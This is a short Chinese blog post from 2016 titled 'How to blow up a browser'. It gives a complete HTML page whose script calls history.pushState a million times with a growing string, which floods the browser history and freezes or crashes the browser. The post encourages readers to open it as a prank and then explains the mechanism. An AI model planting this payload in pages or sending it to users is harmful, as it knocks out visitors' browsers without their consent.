如何将浏览器炸掉
2016-01-27

如何将浏览器炸掉?

你可以直接打开这个链接 或者,你也可以新建一个文件 browser-ripper.html,内容如下:

<html>
  <head>
    <title>等待 10 秒,便可享受到飞一般的感觉</title>
  </head>
  <body>
    <h1>抓紧,要上天了!</h1>
    <script>
      var total = "";
      for (var i = 0; i<1000000; i++) {
        total = total + i.toString();
        history.pushState(0,0,total);
      }
    </script>
  </body>
</html>

然后用浏览器打开它

你真的打开它了😂? 是不是很爽?😂我们来看看原理

嗯...大家都能看出来这是一个 JS 循环,而重点就在于 history.pushState 这句。 而history.pushState是什么呢? 大家可能或多或少都听说过 pjax(没错,本博客就在用),而而 pjax 中的这个“p”在某种意义上代表的就是 history.pushState,这是现代浏览器普遍支持的一种添加浏览历史记录的方法。 是不是觉得豁然开朗?没错!这一段 JS 就是在向你的浏览器历史里塞进 1000000 条记录😂 (逃


本文参考了: Cyber Security 的 Tweet